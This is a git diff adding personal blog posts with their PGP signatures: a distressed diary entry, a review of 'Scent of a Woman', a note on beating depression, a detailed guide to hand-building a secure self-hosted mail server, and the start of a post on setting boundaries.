+Well, maybe not. +Maybe my expiration date has passed. +But then I would be chasing bread crumbs again. +Those crumbs won't let me find a true good quality loaf of bread! +They keep me distracted, and make me exhausted. +But they also mentally help me. + +Maybe I should go for coffee at different times just not to meet this person. +I don't know. +I just know I'm hurting from within, and it's not nice. +It's like internal bleeding. +It's as painful as it gets. +It's as hurtful as it gets. + +I know getting a pet could help me a lot at this point. +All of the things I want I can get from a pet. +Petting the pet, and caring for it are exactly what makes me feel good. +But then I don't want the responsibility. + +Like with a human things feel less stressful, but with a pet it's scary. +I'm more of a father to the pet. +Uh... +I can't even have a pet because of my house rules. + +I don't know what to do. +What I know is that I'm mentally hurting, and I don't know what to do. +I really don't. +I need help. +A lot of help. +A lot lot of help. +But I can't ask my friends. +I just can't. +They have their own problems. +They think I'm weak. +They will tell me to man up. +Or they just show empathy. +But I don't need empathy. +I need a solution. +I need to be told what to do. +I need help. +Help. + +... --- ... + +... --- ... ... --- ... ... --- ... + +... --- ... + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/sadness.md.asc b/public-onion/sources/posts/sadness.md.asc new file mode 100644 index 0000000..af261eb --- /dev/null +++ b/public-onion/sources/posts/sadness.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM +jSp4tQ/9EBdBCfxCs81mRY78MNMo2detZkVaIesg8pIgjKxT3Guj/lqcNUBN+0a9 +XkVgKH2Ax8n7h+uRwhN27yWBjqCHF/gHKYoMYjXKg8tlPyQQEzQsCt/vsNHK9Xfx +rzCZx4ZIBpNfslXkpwJqwbvY0VuxvPQY51oMCzgaycMrp07e2daRG0WNGrDq156y +4ahrfMhObGCJNQD3OS4GqjaE4PzrkKubCy784Q2Ro/fAY6I6ag2p9K/damrvSk4y +spcAHdFtKoawLPXXYW0SAPxg3Nk1f04Lq1JmBf528U+VbIflsJG2id+g1W3Z7ch6 +sg5vnKJj7d7AM/0XeHZzNIzfCVz4M9hSnXx3eLb260SAHQTQqBsKFaXYl7y43ND5 +9IOisO3ah6/HTBsJQ2tf7QA5y4HPgY+b+rJVDQ4u0UiGfXLLFA2jtUwMnQmx49Ch +SD4vGu8SaxWVhWPprrBX6OsC+qEzPiksqu2CZCiEM1Lqma194USyjxqctACNDigO +K5qILAk8qvmEdDLIFxfYrpOA9qj+aNDG7gJkBOXCqc6hQ3O3Tv5FnVRokzjDk4Qe +N9F1UAZO0F2u7dvAUH4GFN90ysyWKJzsQYzIC1aABZxws16mvbgSwNf6+okpky12 +VEkutpuGSpUw7Lslhb0Tz2ZEwnjRL/A4p1L3nF8rdlzqLe1ERvk= +=VEwz +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/scent_of_a_woman.md b/public-onion/sources/posts/scent_of_a_woman.md new file mode 100644 index 0000000..a1a226e --- /dev/null +++ b/public-onion/sources/posts/scent_of_a_woman.md @@ -0,0 +1,94 @@ ++++ +title = 'Movie review: Scent of a Woman' +date = 2025-10-13T08:52:10Z +draft = false +description = "My reaction to the movie as a not so pro movie watcher" ++++ + +I'm not a big movie watcher. +In fact, I don't remember the last time I watched a whole movie in a single day. +It's not that I don't enjoy it, it's that I want to do this with at least another person. +It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched [Scent of a Woman](https://www.imdb.com/title/tt0105323) on Sunday, and after my therapist encouraged me to do so. + +Few points before I begin. +- This was aside from the therapy session. +- My therapist does not tell me what to do, or if I'm wrong or right or anything like that. +- I watched this movie in about two parts in a single day! +- I knew Al Pacino's face from Godfather series, but didn't know his name. +- I'm not a big movie person, so whatever I say should be taken with a grain of salt. Just don't be offended, take it face up and as is. + +The movie is about a good young student named Chris O'Donnell, played by Charlie Simms ,who is dependent on a scholarship to continue his studies after school, worthy of going to Harvard. + +The second main character of the movie is a blind man called Lt. Col. Frank Slade, played by Al Pacino, who is an arrogant, rude, assertive, proud, self-centered person that gives bad vibes throughout the movie. + +Chris needs to work over the thanksgiving weekend, just to be able to make it home during Christmas. +He lives with his mother, and a not so nice step-father who isn't really there for him. + +When taking the job to watch over Frank, he quickly realizes what a hard task this will be, but the lady who hires him (Karen Rossie) being his niece assures him that he is a pile of suger under these bad vibes, and that she needs him to do this for her for these fea days. +At last Chris agrees. + +Upon Karen's leaving, Frank gets ready for a trip to New York. +To do his last vows before taking his own life without Chris knowing this. + +He plans staying at a nice hotel, having an awesome Meal at a gorgeous restaurant, seeing a woman, his brother, and then taking his own life. + +Frank is in love with Jack Daniel's and cannot get enough of it. +Throughout the movie this drunk, addiction-like behaviour is portrayed. + +Frank also learns about a problem Chris is facing. +Chris is being forced to snitch on a group of the people he knows, or he will be expelled and loses his chance to got o Harvard with another scholarship. +He doesn't want to snitch, but frank learns about this, he encourages him to take the deal. + +Frank then tries to teach Chris how to flirt, how to get woman, and how to be a gentleman. +There is an amazing scene in the movie where Frank tries to setup Chris with a girl who is waiting for her boyfriend! +He dances Tango with her and this scene is probably the most majestic scene in any movie I have ever seen. +The feelings I got were so strong and positive that I just cannot express! + +In the end, when Frank wants to take his own life, Chris stops him and talks him out of it. +He helps him to ride a Ferrari, the second thing he liked in his life (the first thing was woman lmao!). +A police officer stopped them because they were going too fast, and Frank spoke his way out of the ticket! +The officer didn't even recognize Frank was blind!!!! + +After these emotional roller coaster, Chris became ever-so attached to Frank, and so did Frank become attached to Chris, showing up to an open student hearing in place of Chris's parent. + +Chris ended up not snitching, and Frank spoke up for him, saying how big of a man is he! +How valuable he is, and how disgusting the acts of the other kid who also could snitch but hid behind his father's back was. + + +In essense, the movie was amazing, with great acting all over it. +The characters portreayed their roles as amazingly as possible. +I loved the movie and how we got to know the characters more and more as the movie went on, and how the story progressed. + +The story was also amazing. +Characters really added life to the scenes by their amazing play. +Donna did the tango dance professionaly. +Al Pacino played to role of a blind man very well, you would easily be fooled by his amazing acting. + + +That leaves me thinking about why did my therapist suggested me to watch this movie and asked me to tell him how I felt and how I thought about the movie? + +Was it about Frank? +That I was trying to be Chris, protecting and caring for Frank, although his behaviour is horrible? +But Frank gave so much back to Chris. +I guess it is the same for me too, I'm also getting a lot back while making some sacrifices. + +Or maybe was it about that amazing Tango dancing scene? +The sensations that Frank describes about relationships, and how he interacts with woman? + +I honestly do not know. +I just know that watching the movie gave me good feelings. +That I'm a happier Iman than the Iman I was before watching it. +That my feelings and experiences are not abnormal, they are valid. +That I'm on the right track, but still need time to figure out the way. +That I shouldn't worry too much. +That I should look at everything as a way to have "fun". +That I shouldn't overthink things. +That if I mess up, oh well, I should take the responsibility and move on. + +I don't know what the intention of my therapist was, but I'm so curious! +I want to figure it out. :) +Fell free to cross your fingers for me! + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/scent_of_a_woman.md.asc b/public-onion/sources/posts/scent_of_a_woman.md.asc new file mode 100644 index 0000000..241150e --- /dev/null +++ b/public-onion/sources/posts/scent_of_a_woman.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM +jSqQCQ/9EAs8l5fvPCqCfZFBipGWtTJewjXdcCu13/WfX66vXjBdPxzL5pLkLV7Q +m6IiKs5GoxJFgNEyfNSjjBNj+NeqxgmYqlephJtf5ubTW+IuSMkinSyvVwkKrxAX +QA+1Imf7/4QTyUB6/L+19jk+1Yl2E0IVyJVWbuE0G/ZsB0TiTI/0Te3aKFdIv3lj +OAProXMLAaCpasabz8+kQBQsul12h0cjG7A+TSaTgaM+WnE8RuC6C0KV//YeUfvN +DuyXHU9DVklkbGSblZw8EKSwLqlbCoPKixeRjVT45OG41eGmGzxYOBEb57zYEfkZ +Zmgo6Y8g2fYYU1wMj5bIylfFut0TqenCxSzJX4xqLnAhw0fx9kLCY1aoxR/Mfub5 +wVNf/2vL14Ef4kfMWg8POj1WrgZc+pSqWUONnTn0yBIl9rjk1LSe9IMtjBHnrIDd +GIwrhoAinO9Qyj7UOyoFFCj6JMnLcnhx5Cwn5EGRS9PSrbUbZdFDuYVQ74R/AEHf +VX1qD1UK0k84FsHhLLflEPiZypxIZsrXS+BpKKG5wi7mFopvUFuZoPbHdmK2856P +e9zZL9e7VOjODn00zR/b6iDMoLUdOxw0rey2LOoNx9Gw42zYb5vuw1djNOgE9D1R +57hf02VIRab5Q1ROOnfl05pv1bY5JMQO4Zcp5Me3OFmiQwl/KYU= +=/VjG +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/seeing_the_light.md b/public-onion/sources/posts/seeing_the_light.md new file mode 100644 index 0000000..5f9b647 --- /dev/null +++ b/public-onion/sources/posts/seeing_the_light.md @@ -0,0 +1,24 @@ ++++ +title = 'Seeing the "Light"' +date = 2025-12-25T11:26:04Z +draft = false ++++ + +I have a strong hunch that I made it. I beat my MDD. I'm finally happy! I'm happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now. + +Currently I'm sitting in Hamburg's CCH, being an Angel in disguise. ;D + +I could not land myself any shifts before 1600, so I have to sit around and wait, and blog. + +I also want to talk about some random thing that happened yesterday. It was me and a colleague in office. I suspected he's been wanting to talk to me about... well... something, but he was too cautious, as if I would screw him over? I have to clue to be honest. He insisted he had no idea I knew why he was saying that he was saying, but in the end I could see we both knew what we were talking about. + +He kinda talked about my view on relationships and dating, the meaning behind it, and my future plans. He then told me to "give time to time". So... yea. Idk. She will probably talk to me about this as time goes on. I don't want to feel anxious though, it should not matter what the outcome is. I should not count on anything, or start counting my chickens before they hatch. + +Another funny thing that happened was that a friend of mine wanted to introduce a potential match, but then he kinda scewed away from it. I have no idea why, but since I tend to assume the worst in things, I should not thinnk about it. + +As time goes by, and as I become more experienced, I feel more relieved. + + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/seeing_the_light.md.asc b/public-onion/sources/posts/seeing_the_light.md.asc new file mode 100644 index 0000000..2f33b72 --- /dev/null +++ b/public-onion/sources/posts/seeing_the_light.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM +jSr7aBAAgOSc2FBGLiHK+6odcxj1VJGnhkV2ibMv8M1e1v1qzIu8wpBBhOzP/XCm +YQhFqtn6LIB2XWMnKjLagYTNgn8jWirAHC95QkoILsoAdShPvh57Tt+DKmZnHJlz +siRwHqE/+peFHpqfjwUf7GLzF/AeiFD3Se3nSPjRe4olRiUDMMhPvNDBW1seQqKn +y4CzVsjVClxVCyUf4b361F07+XuGv3kmKOnWTV3suLZykpWpxiQTRdq+jI7DBZKK +ZKimruFbc7iYVaQOs0biNXL2MFn9JXEvqAApPkkJ85JfVwvhDieThu+sw0+EQoc0 +riFVnb2+TK1OSkAu7w7HFLcUY0gGZ4+lrmTQDpsEO69xcFXMyZZQDW/B4qnj2qo0 +kp267oEPRToficNjpTKu0VhKtEaDNh5JMasxSEdwzehNp6K1Hp6LdRiVPEArWnxZ +jL35SgQzElB5ifYy3CYjTj2CA/qxC01OZrzoPbia9RLsdFBJEscYrSGBAqqRgZ/+ +KTK/nsubJQtXF0Ui7fCZS/Dv4iR3tH0hyDi+w+mYWRzzFq0jnQsBYYu3QmjuhU+V +hfZHIYkH3yQV7k4XCa3wpMvnwC7I1od4ZmCjB98ITaz8U+BVHRT//Y2w6Xnd1OJi +terYCiMGVC5sJzaUw8ZGfMf0l78J8X8B5KD+ZBtAs12NdekX/V4= +=xRmw +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/self_hosting_mail.md b/public-onion/sources/posts/self_hosting_mail.md new file mode 100644 index 0000000..d05eab3 --- /dev/null +++ b/public-onion/sources/posts/self_hosting_mail.md @@ -0,0 +1,209 @@ +--- +title: "Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)" +date: 2026-07-24 +tags: ["mail", "postfix", "dovecot", "opendkim", "postfixadmin", "roundcube", "nginx", "self-hosting", "homelab", "dns", "dkim", "spf", "dmarc"] +categories: ["guides"] +draft: false +description: "A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again)." +--- + +> If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do **not** assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. + +I wanted real email on my own machine — `mail.alipourimjourneys.ir` — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) + +By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand *why* those pieces exist, which is the part the shiny installers quietly skip. + +--- + +## Why I bothered + +Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon. + +I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic. + +--- + +## How email actually moves + +Imagine a post office that both receives letters from other post offices *and* lets you drop off letters to send — but only if you show ID at the counter. + +**Postfix** is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port **25**. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later). + +When *you* want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use **submission**, usually port **587**, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye. + +**Dovecot** is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port **993** so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself. + +**OpenDKIM** sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address. + +Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you. + +Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files. + +--- + +## The shape of my setup + +On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under `/srv/services/mail/` runs Postgres only for that mail world, listening on `127.0.0.1:5433`. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse. + +Nginx terminates HTTPS for a little portal at `mail.alipourimjourneys.ir`, the admin UI at `mailadmin.alipourimjourneys.ir`, and Roundcube at `webmail.alipourimjourneys.ir`. Clients still talk to `mail.alipourimjourneys.ir` for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers. + +--- + +## Port 25 is for servers; port 587 is for people + +This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure. + +Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed *to your domain*, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers. + +Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send. + +I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay. + +--- + +## What an “open relay” is, and why localhost lies to you + +An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation. + +Here’s the trick that wastes afternoons: testing from `127.0.0.1`. + +Postfix treats localhost as friendly. Cron jobs, monitoring, local `sendmail` calls — they need to inject mail without performing a full human login. That friendliness is encoded in `mynetworks`. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful. + +So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from `evil@example.com` to `someone@example.com`, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of `454 Relay access denied`. A cheerful `250` on that recipient line is how you wake up as someone else’s cannon. + +Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?” + +--- + +## DNS, but make it human + +### The forward map (name → number) + +You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an **MX** record, which is simply a polite note: “if you’re delivering mail for this domain, knock on *that* hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet. + +I put `mail.alipourimjourneys.ir` on funbox for both v4 and v6, pointed MX at that name, and added `webmail` and `mailadmin` the same way. + +### Why Cloudflare’s orange cloud is not invited + +Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot. + +Mail hostnames stay **DNS-only** — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there. + +--- + +## PTR records: the phonebook in reverse + +This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly. + +Normal DNS is a phonebook from names to numbers: you look up `mail.example.com` and learn the IP. **Reverse DNS** is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a **PTR** record. + +Those reverse records do *not* live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for `alipourimjourneys.ir` does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street. + +So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to `mail.alipourimjourneys.ir`, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi. + +You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good. + +--- + +## SPF, DKIM, and DMARC: three different questions + +People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients. + +**SPF** answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then `-all`, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer `~all` exists for a reason. I wasn’t mid-migration. I was building one source of truth. + +**DKIM** answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp. + +**DMARC** answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with `p=none` (watch and learn), move to `quarantine` (bad mail goes to spam), and later `reject` when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough. + +Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy. + +Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot. + +--- + +## Building the unglamorous core + +On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for `mail.alipourimjourneys.ir`, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026. + +Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under `/var/spool/postfix`, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the `postfix` user connect. + +I briefly had two `Socket` lines in `opendkim.conf`. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: `DKIM-Signature field added`. Instant serotonin. + +When `opendkim-testkey` says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently. + +--- + +## The Matrix certificate heist (that wasn’t a heist) + +Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting `mail.…` and found **`matrix.alipourimjourneys.ir`** smiling back. + +No attacker. No cosmic joke from Let’s Encrypt. Just nginx. + +When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no `server_name` matches, nginx shrugs and uses the **default** server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible. + +Later I repeated a sibling mistake with `webmail.`: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting `https://webmail.…` still fell through to the default server and received Matrix’s cert again. Same villain, new episode. + +The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize. + +--- + +## From Linux users to real mailboxes + +The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal. + +So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under `/var/vmail/...` owned by a dedicated `vmail` user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP. + +Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street. + +One setting decides whether this feels cursed or calm: `mydestination`. + +That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is `mail.alipourimjourneys.ir` and you also leave that name in `mydestination`, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set `mydestination` to localhost and let the mail domain be virtual. Suddenly the model matched reality. + +PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.” + +One more client quirk: some apps send only `ialipour` as the username. The database stores `ialipour@mail.…`. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or `local-part@mail.alipourimjourneys.ir` did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private. + +--- + +## Webmail without losing the plot + +Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres. + +I flirted with serving it under a path like `/webmail` on the main mail hostname while also serving it at the root of `webmail.…`. Roundcube has opinions about its base path. If you tell it “you live under `/webmail`” and then put it at `/` on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates. + +The calm ending: Roundcube lives at `https://webmail.alipourimjourneys.ir/` as the site root. The portal links there. Path experiments go in the diary under “character development.” + +--- + +## The bounce emails that taught me about identity + +After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail `root`. My system identity still thought the local domain was `mail.alipourimjourneys.ir`, so `root` became `root@mail.alipourimjourneys.ir`. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house. + +The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased `root` to my real virtual address so necessary noise still reaches a human. `myhostname` can still announce itself as `mail.…` on the SMTP banner. Different knobs, different jobs. + +Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving `vmail` ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior. + +And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in `/var/log/mail.log` so repeated guessing gets a timeout instead of an unlimited hobby. + +--- + +## What “done” means for me + +For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at `mail.alipourimjourneys.ir`, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands. + +Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.” + +If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on. + +--- + +### Links + +- Portal: [mail.alipourimjourneys.ir](https://mail.alipourimjourneys.ir) +- Webmail: [webmail.alipourimjourneys.ir](https://webmail.alipourimjourneys.ir) +- Admin: [mailadmin.alipourimjourneys.ir](https://mailadmin.alipourimjourneys.ir) + + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/self_hosting_mail.md.asc b/public-onion/sources/posts/self_hosting_mail.md.asc new file mode 100644 index 0000000..8a6f4d7 --- /dev/null +++ b/public-onion/sources/posts/self_hosting_mail.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20= +=KCRU +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/setting_boundries.md b/public-onion/sources/posts/setting_boundries.md new file mode 100644 index 0000000..fa712d8 --- /dev/null +++ b/public-onion/sources/posts/setting_boundries.md @@ -0,0 +1,28 @@ ++++ +title = 'Setting Boundries' +date = 2025-12-04T14:38:36Z +draft = false ++++ + +I was watching [this video](https://www.youtube.com/watch?v=MQzDMkeSzpw) the other day. It's an interesting video imo. This is something I've been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me? + +Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and 